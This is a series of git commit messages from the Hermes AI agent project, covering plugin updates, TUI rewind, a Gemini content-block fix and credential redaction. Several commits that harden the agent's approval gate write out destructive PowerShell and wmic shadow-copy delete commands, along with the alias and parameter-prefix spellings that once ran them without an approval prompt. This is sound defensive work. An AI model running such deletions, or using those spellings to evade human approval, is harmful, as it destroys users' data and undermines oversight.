and no candidates. The adapter translated that into an empty "stop" turn,
so the user saw silence. Both the unary and the SSE path now raise a
GeminiAPIError (code gemini_prompt_blocked, no synthesized HTTP status)
carrying per-reason guidance, and the classifier routes that structured
code to content_policy_blocked (non-retryable, fallback-eligible).
Review finding: when Gemini blocks a compression summary request, compression
now drops the middle turns. The native adapter raises the prompt block as a
content-policy GeminiAPIError instead of returning empty content, so
_classify_summary_failure no longer put it in the terminal (refusal) class.
Count the classifier's content_policy_blocked verdict as that class, which also
aborts on other providers' content-policy refusals of the summary call.
Review finding: test_native_gemini_errors.py still excused #121317, so a
regression back to the 9x re-send would XFAIL instead of failing. Per
tests/e2e/core/_pending_fixes.py the fixing change deletes its entry.
Review nit: RECITATION/SPII/LANGUAGE are candidate FinishReason values, never a
promptFeedback.blockReason, so drop them from the guidance table; use Vertex's
promptFeedback.blockReasonMessage when present.
Other providers' content-policy refusals of the summary call keep main's fallback-summary
path; only the Gemini prompt block (which used to arrive as empty content) stays terminal.
Sibling subagents in one tasks batch send byte-identical tools[] and system
prompt scaffold; only the goal (their first user turn) differs, plus the system
prompt tail when tasks carry different context. Started together, every
child's first request misses the provider prompt cache and pays the full prefix.

delegation.prefix_stagger_seconds (default 0 = off) now holds the siblings on
the first child's route until that child's first response starts streaming
(its request has written the cache), it finishes, or the cap elapses (max 60 s).
The wait ends as soon as the cache is readable, so opting in costs about one
time-to-first-token instead of a fixed (N-1)*S ramp. Routes Hermes does not
prompt-cache and siblings on a different model start without waiting, and a
sibling stopped during the wait is reported interrupted without starting.

Rebuilt on the split delegate_tool_* layout: the gate is its own sibling
(tools/delegate_tool_prefix_gate.py); dispatch only wraps run_child.
Review findings "Background batches lose siblings on a foreground interrupt" and
"A sibling skipped by the gate is never detached or closed":

- _run_gated now takes honor_parent_interrupt and passes parent=None for a
  detached (background) unit, so stopping the parent's foreground turn no
  longer cancels siblings still waiting on the prompt-cache warm-up.
- A child the gate skips never reaches _run_single_child's finally, so it is
  detached from parent._active_children and closed before its entry is built.
  The same teardown runs for futures the parent-interrupt path cancels while
  they were still queued behind max_concurrent_children (never started).
- Document that the leader is always task 0 (docs + code comment).
main already ships `hermes plugins update` (no name = update all) and the
opt-in `plugins.auto_apply` cadence. This makes both reachable from every
surface and closes the gaps reported on the original PR:

- Catalog installs now ride `plugins.auto_apply` too (it moved only git
  rows, so catalog plugins stayed on their install-day pin). The update
  path still refuses a widened pin or a too-new requires_hermes unattended.
- One updater per plugin: a cross-process lock around update_one and the
  dashboard/Desktop update, so the gateway's auto-apply tick and a manual
  update never run on the same plugin at once; the loser changes nothing.
- `hermes update` names, per profile, the catalog installs its new catalog
  pins left behind and re-arms that profile's plugin check, so an opted-in
  gateway applies them on the next tick.
- New CLI verb `hermes plugins auto-update [on|off]`; `/plugins update` and
  `/plugins auto-update [on|off]` in the classic CLI and the TUI (slash
  worker).
- RPC `plugins.manage` actions `update_all` and `auto_update` (contract +
  regenerated apps/shared outputs) for Desktop.

Off by default (legacy behaviour); all writes are profile-scoped through
get_hermes_home()/the scoped RPC.
POST /api/dashboard/agent-plugins/update-all runs the same unattended
update-all as Desktop and /plugins update (nothing accepted on the
user's behalf; widened pins come back needs_review), and
GET/PUT /api/dashboard/plugins/auto-update read and set the profile's
plugins.auto_apply. Both run in the dashboard profile scope off the
event loop. The Plugins page gets the button and the switch; copy in
every dashboard locale. Plugin catalog types move to api-plugins.ts to
keep api.ts under its size cap.
The Plugins tab header gets an "Update all" button (plugins.manage
update_all: the unattended path; widened pins and caution scans come
back as needs review and are named in the toast) and an Auto-update
switch for the selected profile (plugins.manage auto_update, i.e.
plugins.auto_apply). The switch hides on an older backend that lacks
the action. Copy in all eight overlays; locale keys regenerated.
A catalog plugin installed with --ref (pinned, empty catalog.pin) is a deliberate hold
(a rollback). The auto-apply tick, update_all_unattended and catalog_pins_behind now skip
it and report it as held with --ref; an explicit `hermes plugins update <name>` still moves it.
The slash worker is killed after 45 s, which could cut a clone/scan/PM sync mid-update.
The TUI now calls the same update_all RPC Desktop uses (600 s budget) and renders its rows.
The tick's default apply is now update_one with no terminal (plugins_auto_update.apply_unattended),
so refusals reach the tick as exceptions instead of cmd_update's SystemExit. RepinConsentRequired
logs one INFO line naming `hermes plugins update X`; other refusals log one line.
- Docs/docstrings: an unattended update never accepts a caution verdict on a git update;
  a catalog re-pin accepts one (a reviewer read that pin at admission). Name the --ref hold.
- /plugins update, Desktop and the dashboard reload each updated plugin (MCP + skills live now,
  Python tools in new sessions); the scheduled check's 'loads in new sessions' stays.
- Desktop: $pluginUpdateAllRunning is a per-profile set, so profile A's run leaves B's button enabled.
The /plugins update routing change added a TUI string; CI i18n:keys:check reds on a stale snapshot.
The nine slashCmd.ops.pluginsUpdate keys the TUI update-all route added were in the en source and
the key snapshot but missing from the 16 locales/*.tui.yaml packs (test_i18n_tui_packs).
- 2.1 hold recorded during the check: update_one/dashboard_update_user_plugin(unattended=True) re-read
  the install record under the per-plugin update lock and skip a --ref hold (HeldWithRef / held);
  _install_plugin_core takes the same lock, so an install --ref cannot publish between the re-check
  and the updater's publication.
- 2.2 custom Git widening: the unattended gate compares the staged candidate's surface (tools, hooks,
  capabilities, ...) with the installed one before publication (git pull and subdirectory re-clone)
  and returns needs_review; a named update still applies it.
- /plugins update <name|all|--yes> refuses extra arguments with a usage line instead of updating
  every plugin.
- hermes plugins update (cmd_update_all) skips catalog installs held with --ref, like every other
  Update all.
A Webapp in Docker behind a Cloudflare Tunnel hits three things the docs
did not cover:

- webapp.host defaults to 127.0.0.1, the container's own loopback, so a
  tunnel or proxy in another container gets connection refused (Cloudflare
  shows 502) while `hermes webapp --status` inside reports it serving. The
  Desktop and Configuration pages said to keep the loopback host behind a
  proxy, which only holds on the same machine.
- The listener trusts X-Forwarded-* only from loopback and
  dashboard.trusted_proxies, so without webapp.public_url the sign-in
  callback is rebuilt as http://<host>/auth/callback. dashboard.trusted_proxies
  also applies to the Webapp, which no page said; trusting the proxy is what
  makes the sign-in cookies Secure.
- The Webapp signs in with the dashboard's HERMES_DASHBOARD_OAUTH_CLIENT_ID
  unless Web Access registered a client of its own, and a Portal client has
  one callback, so a dashboard and a Webapp on two hostnames cannot both use
  one client. Only native Desktop's Web Access registers the Webapp's own.

Docker gets a "Behind a tunnel or reverse proxy" recipe (with a cloudflared
Compose sketch) and a "Next to the dashboard" section; the Desktop and
Configuration pages point the cross-container case at it, and the
public_url bullet now says the one-hostname rule holds on a loopback host.

Checked against nousresearch/hermes-agent:latest (v0.22.7) with a
cloudflared quick tunnel in its own container.
The Ink TUI could only undo or retry the newest turn. `/rewind` (and Esc Esc on an idle,
empty composer) now lists every earlier text prompt; Enter opens the picked one for editing and
Enter again cuts the session back to just before it and sends the edit. Nothing is cut until the
edit is sent, and Esc steps back (edit -> list -> closed).

The cut is the same revision-fenced `session.mutate rewind` that /undo and /retry use, aimed at
the picked row: the owner's form of the `prompt.submit truncate_before_row_id` Desktop's
edit-and-resend sends. A media turn keeps its number but is not offered (no lossless replay,
the /retry rule). Salvages the /rewind UX of #25074 / #23445 onto main's rewind primitives.

Approval prompts gain "No, and tell Hermes what to do instead" wherever Deny is offered. Picking
it keeps the command held while the user types; Enter steers the instruction into the running
turn first (so it rides on the blocked tool result), then answers the gateway with a plain deny.
A refused steer (the turn already ended) keeps the words as the next prompt, the /steer fallback.
Esc on the typing row returns to the choices; Esc on the choices still denies outright.

Co-authored-by: SaguaroDev <74339271+SaguaroDev@users.noreply.github.com>
Keeps useMainApp and the useInputHandlers key handler under their code-health caps after the
rewind / tell-instead additions; behaviour unchanged.
The keys this branch added to the TUI catalog (locales/_keys.tui.json) had no
translation in the bundled per-language packs, so
test_bundled_tui_pack_mirrors_tui_key_export failed for every language.
Nothing cut: the edit goes back into the composer. Cut committed but the
repaint fetch failed or the user switched sessions: the edit lands in that
session's pending queue as its next prompt.
steerOrQueue takes the destination captured before awaiting session.steer
and passes it to enqueue, so a late refusal never lands in whichever session
is selected when the reply arrives; its status line only prints while that
session is still on screen.
While the steer is in flight every answer to that approval is refused (a
repeated Enter no longer steers twice, an allow can no longer release the
command); afterwards only the promised deny may still be sent.
The /rewind picker (Esc Esc on an idle, empty composer) gains Codex-style
backtrack navigation:

- f = Fork from here: a `session.mutate branch` through the last stored row
  before the picked prompt (the same primitive Desktop's message-level branch
  sends), switch to the child, prefill the prompt unsent. The original session
  is untouched. The first prompt has nothing before it, so it opens a plain new
  session with the prompt prefilled.
- The list shows a preview (first lines + prompt number) of the selection.
- While the list is open the transcript scrolls to the selected prompt and
  marks it, so Up/Down jumps between earlier user messages.
Classic CLI gains a Codex-style backtrack picker. Esc Esc on an idle, empty composer with no
overlay (or /rewind) lists earlier prompts newest first with a preview and turn number.

- Enter: prefill the prompt for editing. Nothing is cut until the edit is submitted; the
  submission rides to the process loop as a BacktrackResend, which re-validates the picked
  turn (same session, same text) and then runs the same durable rewind /undo uses. Esc Esc,
  Ctrl+C, an empty submit, or submitting a slash/! command cancels and cuts nothing.
- f: fork. Runs the existing /branch path, then rewinds only the CHILD to just before the
  picked prompt and prefills it; the parent's rows stay active.
- /rewind N and /rewind fork N do the same without the picker.

Esc Esc with a draft still discards it; mid-turn Esc Esc is unchanged.

undo_last's rewind body moves into CLISessionMixin._rewind_to_user_ordinal (shared by /undo
and the picker; same compaction-carrier handling, agent patching and memory rewound hook).
The picker lives in a new hermes_cli/cli_backtrack.py mixin; cli_tui_mixin.py is untouched.
CommandDef rewind is cli_only (desktop: terminal); desktop registry and parity table regenerated.
Explain why a blank provider language can still resolve to English. Align the guides and environment reference with first-nonempty resolution while preserving configuration values and documenting command-backend limits.

Constraint: Documentation must describe current runtime behavior, not pending default-language or CLI changes.
Confidence: high
Scope-risk: narrow
Reversibility: clean
Tested: Four configuration cases through the real loader and resolver; parsed YAML unchanged.
Tested: Clean English Docusaurus build and rendered table/cross-link checks; git diff --check.
Not-tested: Other documentation locales; no runtime code changed.
Document command-provider namespaces and inherited plugin language hints. Link the command and plugin sections to the shared rules, and clarify when Groq consults the environment.

Scope-risk: narrow
Tested: English Docusaurus build, rendered table and links, unchanged YAML values, and isolated STT resolution checks.
Not-tested: Other documentation locales.
Make provider-specific, global, and environment language hints explicit fallbacks. Describe auto-detection in terms of the resolved hint, since the global setting defaults to English.

Tested: English Docusaurus build, rendered paragraph, and git diff --check
Tested: STT selection, 64 passed and one failure reproduced on the unchanged baseline
Not-tested: Full repository suite and live Groq transcription
Scope-risk: narrow
The rewritten resolution paragraph dropped the sentence that listed
mistral among the providers, so the docs-drift ratchet saw
stt.mistral.language as newly undocumented. The placeholder path in a
code span covers every provider key.
A slow WebSocket viewer could be closed from two independent paths at once — the per-send
deadline in _safe_send_many and abort() on fanout overflow — neither aware of the other. Under
load both fired and the client received two 1011 close frames (main-red flake in
test_overflow_closes_only_the_slow_peer). The socket close is now one-shot: the first scheduler
to run on the loop closes, the rest return.
Review (Greptile): the fake socket close returned at once, so the second _close_socket ran only
after the first finished — the test passed even with the latch set after the await. The fake close
now holds open until released; the second call must be latched out before entering it.
test_many_fetch_pipes_scan_in_linear_time timed a single 4000-pipe scan against a 3s wall; on a
loaded CI runner the scan that normally finishes in well under a second took 3.18s and the test
went red on main. It now compares a 4000-pipe scan to a 1000-pipe baseline, so quadratic blowup
(~16x) still fails while runner load does not.
Review (Greptile): a fast best-of-3 baseline with a single wide sample could put the bound under the
2s the test guide requires, so a load spike during the one wide run could fail an unchanged linear
scan. Both sizes are now best-of-3 and the bound is max(2.0, base*8).
A catalog memory provider (Honcho today) has no way to own its per-profile setup or its
dashboard config file, so core carries that code for it: profile create/rename edit Honcho's
host blocks and the dashboard has a Honcho-only storage kind that imports the plugin's private
modules. These seams let a provider do that work itself; core's Honcho code is untouched here
and is removed in a follow-up once the plugin implements them.

- MemoryProvider.on_profile_created(profile_name, hermes_home) / on_profile_renamed(old, new,
  hermes_home): called from create_profile (CLI, dashboard, Desktop/TUI) and rename_profile for
  the provider the profile's effective config selects, with that profile's home and its own
  .env secrets bound. A failing hook or unreadable config is logged and never fails the create
  or rename. No-ops by default.
- storage=STORAGE_PROVIDER in config_schema.py, with read_config_fields(hermes_home) /
  write_config_fields(values, hermes_home): the provider owns its file layout. Core keeps
  value coercion, placeholders, write-only secrets, the memory.provider switch and the 400 on
  a refused write, and saves secrets to .env only after the provider accepted them.

_record_profile_rename moves to profile_identity.py (profiles.py line budget).
- plugin_host_wire: an error crossing the host now carries the nearest builtin base
  class, so a ValueError subclass (json.JSONDecodeError) raised by a hosted provider's
  write_config_fields is still a ValueError in core and the dashboard returns 400, not 500.
- notify_memory_provider catches SystemExit as well as Exception: a provider hook that
  exits no longer skips rename's alias, active-profile and identity updates.
- Docs and docstring: a key missing from the target profile's .env reads as unset; the
  hooks never fall back to the caller's environment.
- Memory panel GET maps a provider read failure like PUT does (ValueError -> 400).
- One helper for submitted secrets; the Honcho placeholder rule moves into its storage
  branch so the field loop no longer branches on storage kind.
- Tests: wire round-trip of error classes, SystemExit hook, missing-secret fail-closed,
  and the failing-hook test now asserts both hooks ran.
A RuntimeError subclass raised in the plugin host (a transport or credential error)
stays a PluginHostError with its type_name instead of arriving as a bare RuntimeError:
PluginHostError already is a RuntimeError, so mapping the base gained callers nothing and
lost the class name. A subclass of another mapped builtin still comes back as that base,
now with its class name kept in the message.

Tests: the RuntimeError-subclass round trip, and the memory panel GET returning 400 when
the provider cannot read its config.
Patent and literature search through Patsnap's hosted MCP server, shipped
as a portable plugin in NousResearch/hermes-labs-plugins (subdir patsnap)
instead of an optional-mcps manifest. Key from PATSNAP_API_KEY, sent in a
header.
#60 merged (rebase) to a6c7854f6fbd8ec8109199d5ded0c9c871c069d6; point the catalog entry at that
commit on main instead of the old PR-head SHA.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Windows PowerShell runs a positional argument as a command, so
`powershell -NoProfile "gci C:\data | ri -r -fo"` deleted a tree with no approval
prompt while the spelled-out form was gated (#144024). Two gaps:

- the prefixed rule anchors the delete verb to command position, which a pipeline
  defeats, so `gci … | ri` walked past it;
- PowerShell resolves any unambiguous parameter prefix and the short aliases, so
  `-r` (-Recurse), `-fo` (-Force), `ri` (Remove-Item) and `Stop-Process -Fo` never
  matched the spelled-out switch rules.

The new rule requires a destructive switch after a piped delete verb, so read-only
pipelines (`gci | measure`, `Get-Content | Select-String`) stay quiet, and `-f` alone
still does not count as -Force because it is ambiguous with -Filter.
The Windows approval tier only matched full parameter names, so a
recursive forced delete spelled `Remove-Item -r -fo` (or `ri`/`rm`/`del`
after a pipe inside a positional script) ran with no approval prompt.
PowerShell accepts any unambiguous parameter prefix, which the reporter
verified deletes for real on Windows 11 PowerShell 5.1.

- Accept -Recurse/-Force prefixes (-r, -rec, -fo, -forc, ...) on the
  Remove-Item, Stop-Process, Remove-ItemProperty and Stop-Service rules
- Gate Remove-Item aliases (ri, rm, del, erase, rd, rmdir) that follow a
  pipe with a destructive flag, closing the positional-script gap where
  the first command is not itself a delete verb
- Add the wmic shadowcopy delete twin of the vssadmin rule
The piped rule from the first commit still required -r/-fo after the verb, so
`powershell -NoProfile "gci C:\data -File -Recurse | Remove-Item"` (deletes every
file, no switch) and `"cd C:\x; rd build -r"` / `"gci | % { ri $_ -r }"` ran with no
prompt. The command-position rule for the same carrier already gates a bare delete
verb with no switch; the later-in-script rule now matches the verb after `|`, `;`,
`{` or `(` inside the quoted script with the same no-switch bar. The separator must
be inside the quotes, so an outer-shell compound is left to the rm rules.

PowerShell resolves a unique parameter prefix: on Stop-Process and Stop-Service
-Force is the only F parameter, so `-f` is -Force (checked on pwsh 7.4 with
Get-Command parameter metadata). On Remove-Item / Remove-ItemProperty `-f` is
ambiguous with -Filter and refuses to bind, so those rules keep `-fo`.
tests/tools/test_approval.py is over the 2,000-line file cap, so the cases the
liuhao1024 commit added there move into test_approval_windows.py beside the #144363
class; one positive and one negative matrix pin the whole rule set. The `ri -f`
negative is dropped: a delete after a pipe now prompts with no switch at all.
Review findings on f96e656d: the alias-after-pipe rule matched hyphenated
words (`| ri-tool -fo`, `| rm-helper -r`) and quoted prose (`Write-Host
"run gci | ri -r"`), and the later-in-the-script rule matched any
pwsh/powershell token followed by any quote (`pwsh -v; jq ".a | del(.b)"`,
`cd ~/powershell-scripts && git grep "foo|rd"`, `echo powershell "gci | ri"`).

The verb now ends with (?![\w-]); the later-in-script rule requires
powershell/pwsh at command position (line start, a separator, or behind
sudo/env/cmd /c/ssh <host>, optional path prefix) with the quote opening its
first non-flag argument; the alias-after-pipe rule scans the quote-masked
variant, since a quoted script PowerShell runs is the anchored rule's job.
Dropping the unanchored [^\n"']* scan also takes the rule's own cost on
100 KB adversarial input from 1.7-2.6 s to ~6 ms, back to main's totals.
Delta review of a6664b8:
- The pipe-alias rule's quote mask hid deletes whose quoted text is executed
  (`ssh host "gci | ri -r -fo"`, `cmd /c "..."`, `iex "..."`, `echo "..." | pwsh -`).
  The mask now applies only when no unquoted launcher or shell carrier runs the
  quoted text, so `Write-Host "run gci | ri -r to clean"` stays quiet.
- The command-position anchor missed xargs, doas, time, timeout N, nice, command,
  busybox, wsl, `sudo -u bob`, `env FOO=1`, `ssh -o X=1 host`, `ssh -p 22 host`, and a
  quoted ssh remote command (`ssh host "pwsh -c 'gci | ri'"`).
- The optional path prefix excludes `(){}` and backticks, so a run of them is no
  longer rescanned from every position (`'{'*100000`: 36 s -> 6 ms for the rule).
- Greptile: the script span runs to the OUTER quote, so a nested
  `'C:\work dir'` no longer ends it before `; rd build -r`.
After the rebase, `curl x | env -u a=1 ... cat` made the new
command-position prefix try every split of `-u a=1` as a valued flag
versus a bare flag plus an assignment, so the scan grew
exponentially. main's test_wrapper_chain_does_not_backtrack went red
(25 s against a 3 s bound). An option value can no longer contain `=`,
which leaves one parse per token: 40 repeats now scan in 4 ms, and
`sudo -u bob`, `env -i`, `env FOO=1`, `timeout 5` still reach pwsh.
Review of c61aa4c found three regressions in rules this PR adds:

- The wmic shadowcopy rule matched anywhere with two unbounded gaps, so
  400 repeats of "wmic shadowcopy" in quoted prose took 3 s (800: 24 s).
  It now anchors wmic at command position (or cmd /c) and stays inside
  one command.
- The ssh and wrapper alternatives of the PowerShell command-position
  prefix restarted at every ssh/sudo word, which made a run of them
  quadratic (ssh -x x2000: 1.5 s, x4000: 5.8 s). They now start only at
  command position: 0.08 s and 0.16 s.
- A launcher word anywhere in the command made every quoted pipe-alias
  count as executed, so echo ssh "gci | ri -r" and
  pwsh --version && echo "gci | ri -r" prompted. The alias must now sit
  in the launcher's own command, or be piped into a pwsh reading stdin.

ssh host "...", cmd /c, iex, echo "..." | pwsh - and the nested-shell
positives still prompt. The new tests fail on c61aa4c (the file times
out at 300 s).
Delta review of b47e534 found:

- A path-qualified or wrapped wmic (C:\Windows\System32\wbem\WMIC.exe,
  /usr/bin/wmic, sudo/nohup/env wmic, powershell wmic,
  cmd /c "C:\...\WMIC.exe ...") no longer matched the anchored regex.
  The rule is now a small matcher, like the pipe-to-shell one: it walks
  the command-position words, accepts wmic directly or as the script of
  cmd /c / pwsh / powershell, and looks for shadowcopy then delete in
  that command only. Quoted prose and wmic shadowcopy list stay quiet,
  and 800 prose repeats scan in 0.13 s.
- The stdin-pipe check for pwsh re-searched the whole prefix at every
  pwsh word (pwsh -v | x4000: 15 s). It now checks only the stage piped
  into that pwsh: 2 s, all of it main's existing encoded-command rule.
- ssh option tokens could cross ; and newlines, so "; ssh -x" x3000 took
  6.7 s. Tokens now stop at ;&| and the ssh prefix never spans a line:
  0.29 s / 0.34 s.

The new tests fail on b47e534 and pass here.
Delta review of 954217f found wmic forms the original c61aa4c rule caught
that the command-word matcher missed:

- carrier switches other than /c and -opts: cmd /s /c, cmd /q /c,
  cmd /d /c, start /b, start "title", powershell -ExecutionPolicy Bypass
- carriers not in the list: start, call, doas, wsl, xargs, ssh host
- wmic after another command inside the carrier script:
  cmd /c "echo hi & wmic shadowcopy delete", powershell "& wmic ..."

The matcher now strips the carrier's switches (with values only for
options that take one), unquotes its script, and walks that script's
command words recursively (depth capped at 3), so each nested command
is judged like a top-level one. wmic shadowcopy list && rm x -- delete
and cmd /c echo wmic shadowcopy delete stay quiet; 4000 repeats of the
command-position and prose forms scan in under 1 s.

The new tests fail on 954217f and pass here.
Delta review of b90c705 found that a cmd /c script carrying its own
escaped quotes was missed, which 954217f caught:
cmd /c "wmic shadowcopy where \"ID=1\" delete" (also /node:\"srv\" and
a trailing && echo \"done\"). In the normalized variant those \" become
plain quotes, and the start-title alternative in the switch-stripping
regex swallowed "wmic shadowcopy where " as a window title.

- The quoted-title skip now applies to start only.
- Option values may be a quoted string (ssh -o "A B" host, -ep "x"),
  and a bare -- ends the options (wsl --, ssh host --).
- -a is a value-taking option, so xargs -a wmic echo ... stays quiet.
- A carrier script that opens with a quote is read both as one quoted
  script and as a quoted program word, so "wmic" shadowcopy delete
  behind cmd /c, xargs or ssh host is caught.

Still unflagged, as on main: start "" "wmic" ... and a cmd /c script
whose program is an escaped-quoted full path. start "wmic shadowcopy
delete" fails closed (prompts) as on c61aa4c. The new tests fail on
b90c705 and pass here.
Four credential shapes reached the model, the transcript and chat surfaces verbatim:

- field names ending in `key` (aws_secret_access_key, SECRET_KEY, privateKey,
  signing_key, encryption_key) were not secrets for is_secret_field_name, so the MCP
  trust-gate prompt and delegation redaction printed them in full (#143974).
- secrets passed as flags (--password=, --token=, docker login -p) and Azure
  connection-string keys (AccountKey=, SharedAccessKey=) skipped every ENV pass, which
  only reads NAME=value with an underscore boundary (#143982).
- kubeconfig's client-key-data, a base64 PEM, matched no private-key pattern and is
  skipped by the assignment passes on source-shaped terminal output (#144023).

The key-name rule needs a qualifier word (secret/private/signing/encryption/master/
hmac/access) before `key`, so key_id, public_key, hotkey and cache_key stay readable.
Flags keep their name and only the value is masked; $VAR references and bare numbers
are left alone.
All three reproduced on current main: PGP armour never matched the PEM pattern because
of its ' BLOCK' suffix, a .ppk keeps its key as base64 under 'Private-Lines:' (the usual
SSH key format on Windows), and age writes a bech32 AGE-SECRET-KEY-1... string. Each
reached the model, the transcript and every chat surface verbatim (#144023).

The .ppk rule keeps the header and masks the body, so the file still reads as a key
without carrying one.
A connection string whose user part is empty printed its password in full.
The DB rule required a user, so `redis://:PASSWORD@host`,
`mongodb://:PASSWORD@host` and `amqp://:PASSWORD@host` -- how redis-cli and
Mongo URIs are usually written -- passed every surface (egress scrub, chat
text, terminal output). The fix only relaxes the user part, so
`https://host:8443` and `postgres://user:pw@host` behave as before.
The space-separated flag rule masked whatever word followed `--token` /
`--password`, so ordinary output lost text: `--help` usage lines
(`[--password PASSWORD]`, `--token TEXT   API token`), prose ("use --token
to pass a token"), sub-option specs (`docker build --secret id=npmrc`) and
the next flag. `docker login ghcr.io; docker run -p 8080:80` also masked
the second command's port because the login context crossed `;`.

A space-separated value is now skipped when it is an upper-case metavar, a
short lower-case word, another flag/bracket, or a `name=` sub-option; a
non-password flag naming a file path (`--credentials ~/.config/x.json`) is
skipped the way the ENV passes skip path values. The login `-p` context
stops at `;`, `|` and `&`. `--account-key` (az CLI) is added to the flag
names. Equals-form values and quoted values are always masked.
Pins the false-positive half of the flag rule (red on the original PR head)
and adds an all-lower-case passphrase to the flag cases that must mask.
Review findings on the salvage head:
- Azure connstr keys only match as a connection-string segment (``;AccountKey=``); Primary/SecondaryKey
  dropped, so ``this.primaryKey = x`` / ``dt.PrimaryKey = new ...`` pass through read_file and terminal.
- Flag values: no whitespace after ``=`` (``--password= or -p``); snake_case and camelCase metavars
  (``db_name``, cobra's ``stringArray``) and ``...xxx`` doc samples are placeholders.
- Password-only DSN placeholders (``redis://:<password>@``, ``:${REDIS_PASSWORD}@``) stay readable.
- PuTTY Private-Lines accept CRLF and JSON-escaped line ends.
- ``rediss://`` and ``amqps://`` are DSN schemes.
- YAML ``signing_key:`` / ``private_key:`` / ``signingKey:`` names join _YAML_CFG_NAMES.
- _DB_CONNSTR_RE userinfo and password runs are possessive: 100 KB of ``redis://:`` or ``redis://u:``
  goes from 4.7 s / 4.3 s to ~20 ms. PGP scan gated on its END marker (1 s -> 7 ms).
Round-2 review: the metavar skip let all-letter passphrases through
(--password correct_horse_battery_staple, --token correctHorseBatteryStaple);
it now only covers two short snake words or one-hump camelCase (db_name,
stringArray). The password-only URL placeholder exemption now requires an
upper-case env var (${REDIS_PASSWORD}) or a lower/ALL-CAPS name in angle
brackets (<password>), so redis://:$ecretPassw0rd@ masks. The Azure key
gate also opens a segment after , ? and &.
Greptile round on 6eb25fd:
- PEM bodies become visible: private-key block passes now run before the
  flag/connection-string passes, so AccountKey=-----BEGIN ... is masked whole.
- File masks resemble usable credentials: flag/connstr values take the
  file_read non-reusable sentinel and existing markers are not re-masked.
- Quoted password tails remain visible: single and double quoted flag and
  container-login values are matched separately.
- Azure signatures remain visible: a SharedAccessSignature value runs to the
  next ';' instead of stopping at '&'.
- PuTTY file reads reveal keys: .ppk body lines accept read_file's gutter.
- Short signing secrets remain visible: the JSON/ENV assignment gate uses
  the qualified-key policy is_secret_field_name already applies.
- The PEM pass gate requires -----END, which the pattern needs anyway; it
  drops a 1 s scan on repeated BEGIN headers.
Round-4 review of d5f78d3:
- "a\"b c" and the shell 'a'\''b c' splice were cut at the first inner quote,
  leaving the tail visible; a quoted value that spans a newline masked only
  line 1. The quoted branch now honours escapes, may span newlines and is
  capped at 512 possessive characters, so an unterminated quote falls back
  to \S+ without rescanning the text.
- A value that merely starts with ***, «redacted or [REDACTED was skipped
  (--password ***MyRealPass9, AccountKey=***<key>==, a file_read tail after
  «redacted:ghp_…»). Only a value that IS a marker is skipped now.
- A SAS value ran to ; or whitespace and ate &foo=bar, a markdown ) and a CSV
  ,col2. It now ends after its sig= parameter or at ) , | and backtick.
- Qualified key names (encryptKey, master_key, private_key) no longer mask
  the non-secret samples true/false/yes/no/null/none/default and <placeholder>.
Two leaks that 6715bfd had opened relative to the previous head:

- A double- or single-quoted flag value with no closing quote within
  512 characters fell back to `\S+`, so only its first word was masked
  and the rest of the secret stayed visible. An unterminated or
  over-long quote now masks to the end of its line. The match is
  possessive, so it still never rescans the text.
- Under a qualified key (signing_key, private_key, ...), any value in
  angle brackets was treated as a docs placeholder, so
  `{"signing_key": "<hunter2>"}` passed through. Only word-shaped
  samples (`<your key>`, `<api_key>`, `<token>`) are exempt now.
The shared gateway's profiles.list returned the launch profile's description but
hard-coded '' for every sibling profile it discovers. Desktop seeds Edit profile,
the avatar prompt, role search and Duplicate from that roster, so a saved
description on any non-default bot looked like it never saved (the file had it;
`hermes profile describe <bot>` read it back). Read it from the profile.yaml the
row already parses for display_name.

Reported on Discord (0.22.7, "bot descriptions are not saving"); diagnosed by
Gille in #149066, whose editor pre-read this replaces at the roster.

Co-authored-by: Gille <4317663+helix4u@users.noreply.github.com>
looks_like_codex_intermediate_ack refused to fire whenever ANY message
in `messages` was a tool result. The turn loop passes the whole session
there (gateway, CLI, resumed sessions), so once a session had run one
tool the guard was dead for every later turn: an "I'll run the tests
now." with no tool call ended the turn instead of getting the bounded
continuation nudge. Fresh sessions were unaffected, which is why it read
as "works in one-shot, broken in the gateway".

The gate's intent (ce175d7372) is "the model has not acted yet this
turn"; it now reads tool_results_this_turn(), the same window the
degenerate-final guard already uses. Tool rows inside the current turn
still end it, so the codex_only "acted, then summarised" path is
unchanged.

Salvage of #69779 by @ClaySecAI (current-turn gate scoping, commit
cb7313d9e7f). The vocabulary widening, colon-ack, after-tool relaxation
and clarification-recovery atoms are not included.

Fixes #69778
`tool_results_this_turn` stops at the most recent user row, and the loop
appends synthetic user rows inside a turn (empty-after-tool, stall,
degenerate, dropped-tool-call and stop-gate nudges). After one of them
the gate saw zero tool rows, so a finished answer that had already run
a tool got the "execute the required tool calls" nudge and an extra
call. Anchor on the turn's own user message via the helper compaction
already uses (reanchor_current_turn_user_idx), so nudge rows start no
new turn while the earlier-turn fix stays.

Patch and test by @BearHuddleston from his review of #148866.

Co-authored-by: BearHuddleston <196404565+BearHuddleston@users.noreply.github.com>
The authority's roster named every profile on disk (#140417) but built those
discovered rows from a placeholder: description '', display_name set to the
handle, and neither has_avatar nor ui_meta_revisions. Desktop reads the row
for presentation — displayName() only title-cases the handle while
display_name is empty, the Edit profile dialog seeds its description field
from bot.description, and pushLocalAvatars() re-uploads a drawn image
whenever has_avatar is missing.

Send the profile's own description and display_name from its profile.yaml
(empty when it has none), and carry has_avatar and ui_meta_revisions for
every row. The two derived fields move into helpers shared with the active
profile's row so both shapes agree, and an unreadable profile.yaml still
degrades to a basic row.

(cherry picked from commit 4a0913c3fc746d5072b6abf2799ffe2a59570cfa)
(cherry picked from commit 5802ba607ab50f68cde4afe95a0a4b757fb9b0e3)
The resume refresh read config.yaml with the gateway process environment, so a ${VAR} that the profile's .env sets differently produced a changed value and a needless new generation on every attach. It now reads config.yaml the way session creation does.
A local session's compression, vision and title routes came from the copy of `auxiliary:` saved when the chat was created, while background review, /btw, /review, the curator, vision's model and every `providers:` entry the routes name were read from config.yaml. A retired side-task model therefore kept failing in every older chat, and a saved key could reach an entry's new URL. Side tasks now read the profile's config.yaml in every in-process chat, as messaging chats already do. The chat's main model and route keep the saved config, --ignore-user-config / safe-mode sessions still see no profile at all, and managed workers keep their session snapshot as a whole.

This replaces the earlier rule that a changed side-task key sends the task back to the main model; the recovery test now asserts the new key reaches the next call.

The automatic-selection case is adapted from Gille's reset-compression regression tests in #147679.

Co-authored-by: Gille <4317663+helix4u@users.noreply.github.com>
